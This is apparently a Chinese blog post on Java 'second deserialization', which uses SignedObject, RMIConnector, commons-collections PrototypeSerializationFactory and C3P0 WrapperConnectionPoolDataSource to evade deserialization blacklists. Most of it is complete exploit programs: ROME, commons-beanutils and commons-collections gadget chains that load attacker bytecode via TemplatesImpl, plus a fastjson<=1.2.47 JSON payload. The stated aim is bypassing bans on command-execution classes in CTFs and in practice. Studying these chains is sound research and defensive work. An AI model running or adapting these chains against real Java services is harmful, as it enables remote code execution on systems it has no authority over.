java反序列化-二次反序列化
二次反序列化,顾名思义就是反序列化二次,其主要意义是绕过黑名单的限制或不出网利用
其中主要的类是SignedObject
SignedObject
这个类其中实现了序列化和反序列化,在构造函数中实现了序列化内容写入content,又在下面的getObject中实现了反序列化content内容。如果我们调用getObject就可以实现再一次的反序列化
getObject就是一个getter。
触发getter就想到了ROME的toString和cb链子里面的BeanComparator,当然还有一些原生的jackson和fastjson触发getter。


package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Calendar;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception {
byte[] evilBytes = Files.readAllBytes(Paths.get("E:\\Download\\micro_service_seclab-main\\a\\target\\classes\\org\\example\\Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
setFieldValue(templates,"_name","harder");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(templates.getClass(),templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "123");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
signedObject.getObject();
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

下面就开干吧 把各种链子写一下
Rome
用我们的toStringFuntionGetter函数去触发传入的beanClass类型,和需要触发getter的obj从而实现二次反序列化加载类
成功弹出计算机
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import com.sun.syndication.feed.impl.ToStringBean;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Calendar;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception {
byte[] evilBytes = Files.readAllBytes(Paths.get("E:\\Download\\micro_service_seclab-main\\a\\target\\classes\\org\\example\\Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
setFieldValue(templates,"_name","harder");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
ToStringBean toStringBean = new ToStringBean(templates.getClass(),templates);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "123");
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(hashMap, kp.getPrivate(), Signature.getInstance("DSA"));
toStringFuntionGetter(signedObject.getClass(),signedObject);
}
public static void toStringFuntionGetter(Class beanClass, Object obj) throws IOException, ClassNotFoundException {
ToStringBean toStringBean = new ToStringBean(beanClass,obj);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(equalsBean, "123");
serialize(hashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException, IOException, IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

comons-beanutils
利用cb链子触发getter的函数ToGetter,第一个参数object是传入即将getter的对象,第二个参数getterString是要object要调用get某个变量的值。比如你调用getId,则你getterString就是Id
这样就可以触发二次反序列化了
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
byte[] evilBytes = Files.readAllBytes(Paths.get("E:\\Download\\micro_service_seclab-main\\a\\target\\classes\\org\\example\\Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{evilBytes});
setFieldValue(templates,"_name","harder");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
setFieldValue(templates,"_class",null);
BeanComparator beanComparator = new BeanComparator();
PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1); // 给queue数组添加值
setFieldValue(beanComparator,"property","outputProperties");
setFieldValue(queue,"queue",new Object[]{templates,null});
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject = new SignedObject(queue, kp.getPrivate(), Signature.getInstance("DSA"));
ToGetter(signedObject,"object");
}
static void ToGetter(Object object, String getterString) throws Exception {
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, beanComparator);
queue.add(1);
queue.add(1); // 给queue数组添加值
setFieldValue(beanComparator,"property",getterString);
setFieldValue(queue,"queue",new Object[]{object,null});
serialize(queue);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException, IOException, IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}

PrototypeFactory$PrototypeSerializationFactory
这里可以触发二次反序列化,其中的iPrototype参数是在类构造的时候赋值的

commons-collections
这个链子感觉实战没有任何意义,但是有时候ctf会用上比如被rce类给ban了的时候,我们可以通过这个触发二次反序列化来绕过
exp如下:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.syndication.feed.impl.EqualsBean;
import org.apache.commons.collections.Factory;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.FactoryTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.DefaultedMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\Download\\JavaThings-master(1)\\JavaThings-master\\test001\\target\\classes\\Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_name", "MakeMemShell");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
Hashtable table1 = getPayload(Templates.class, templates); // 恶意反序列化类
//构造参数
Class clazz = Class.forName("org.apache.commons.collections.functors.PrototypeFactory$PrototypeSerializationFactory");
Constructor constructor = clazz.getDeclaredConstructor(Serializable.class);
constructor.setAccessible(true);
Object o = constructor.newInstance(table1);
FactoryTransformer factoryTransformer1 = new FactoryTransformer((Factory) o);
// 这里是触发FactoryTransformer.transfrom()
HashMap<Object, Object> map1 = new HashMap<>();
Map defaultedmap1 = DefaultedMap.decorate(map1, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry1 = new TiedMapEntry(defaultedmap1, "foo");
HashMap hashMap1 = new HashMap();
hashMap1.put(tiedMapEntry1, "1"); //
setFieldValue(defaultedmap1, "value", factoryTransformer1);
defaultedmap1.remove("1");
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(byteArrayOutputStream);
outputStream.writeObject(hashMap1);
outputStream.flush();
outputStream.close();
byte[] serializedData = byteArrayOutputStream.toByteArray();
String base64Encoded = Base64.getEncoder().encodeToString(serializedData);
// 打印BASE64编码的字符串
System.out.println("BASE64 Encoded Serialized Data: " + base64Encoded);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(byteArrayOutputStream.toByteArray());
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
}
//CC7 触发equalBean
public static Hashtable getPayload(Class clazz, Object payloadObj) throws Exception {
EqualsBean bean = new EqualsBean(String.class, "r");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", payloadObj);
map2.put("zZ", bean);
map2.put("yy", payloadObj);
Hashtable table = new Hashtable();
table.put(map1, "1");
table.put(map2, "2");
setFieldValue(bean, "_beanClass", clazz);
setFieldValue(bean, "_obj", payloadObj);
return table;
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
我们可以看到在FactoryTransfrom#transform方法里面可以触发create函数,所以触发二次反序列化。而transfrom这个方法调用在cc链子中常见,就不多阐述了

RMIConnector
这里FindRMIServerJRMP函数可以触发二次反序列化

commons-collections
这个链子的实战意义也不大,也是可能打CTF会用到吧,拿来绕ban掉命令执行的类,和我介绍的上一个链子有异曲同工之妙
package org.example;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
setFieldValue(jmxServiceURL, "urlPath", "/stub/base64string");
RMIConnector rmiConnector = new RMIConnector(jmxServiceURL, null);
InvokerTransformer invokerTransformer = new InvokerTransformer("connect", null, null);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, rmiConnector);
HashMap<Object, Object> expMap = new HashMap<>();
expMap.put(tiedMapEntry, "Poria");
lazyMap.remove(rmiConnector);
setFieldValue(lazyMap,"factory", invokerTransformer);
serialize(expMap);
serialize("ser.bin");
}
public static void serialize(Object obj) throws IOException, IOException, IOException {
ObjectOutputStream oos =new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setFieldValue(Object obj, String fieldName, Object
value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
WrapperConnectionPoolDataSource
这个链子感觉是配合fastjson和jackson比较多,因为要触发setter和getter
C3P0_Hex
fastjson<=1.2.47
exp:
{
"rand1": {
"@type": "java.lang.Class",
"val": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"
},
"rand2": {
"@type": "com.mchange.v2.c3p0.WrapperConnectionPoolDataSource",
"userOverridesAsString": "HexAsciiSerializedMap:hexstring;",
}
}
分析:
发现setUpPropertyListeners里面有parseUserOverridesAsString函数,这个里面会实现反序列化。从而再次反序列化




package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
public class Main {
public static void main(String[] args) throws Exception {
byte[] fastJsonPayload = getFastJsonPayload();
String hexstring = bytesToHex(fastJsonPayload);
String FJ1247 = "{\n" +
" \"rand1\": {\n" +
" \"@type\": \"java.lang.Class\",\n" +
" \"val\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"\n" +
" },\n" +
" \"rand2\": {\n" +
" \"@type\": \"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\",\n" +
" \"userOverridesAsString\": \"HexAsciiSerializedMap:" + hexstring + ";\",\n" +
" }\n" +
"}";
JSON.parseObject(FJ1247);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc.bin"));
oos.writeObject(obj);
oos.close();
}
public static void unserialize() throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("cc.bin"));
ois.readObject();
ois.close();
}
public static void setFieldValue(Object object, String field, Object value) throws Exception {
Field declaredField = object.getClass().getDeclaredField(field);
declaredField.setAccessible(true);
declaredField.set(object, value);
}
public static String bytesToHex(byte[] bytes) {
StringBuffer stringBuffer = new StringBuffer();
for (int i = 0; i < bytes.length; i++) {
String hex = Integer.toHexString(bytes[i] & 0xff);
if (hex.length()<2){
stringBuffer.append("0" + hex);
}else {
stringBuffer.append(hex);
}
}
return stringBuffer.toString();
}
public static byte[] getFastJsonPayload() throws Exception {
byte[] code = Files.readAllBytes(Paths.get("E:\\Download\\micro_service_seclab-main\\a\\target\\classes\\org\\example\\Calc.class"));
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "zIxyd");
setFieldValue(templates, "_bytecodes", new byte[][]{code});
setFieldValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
BadAttributeValueExpException bd = new BadAttributeValueExpException(null);
setFieldValue(bd,"val",jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(templates,bd);
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(hashMap);
return bao.toByteArray();
}
}
参考:
https://tttang.com/archive/1701/
https://zixyd.github.io/2024/03/21/Java%E4%BA%8C%E6%AC%A1%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/#WrapperConnectionPoolDataSource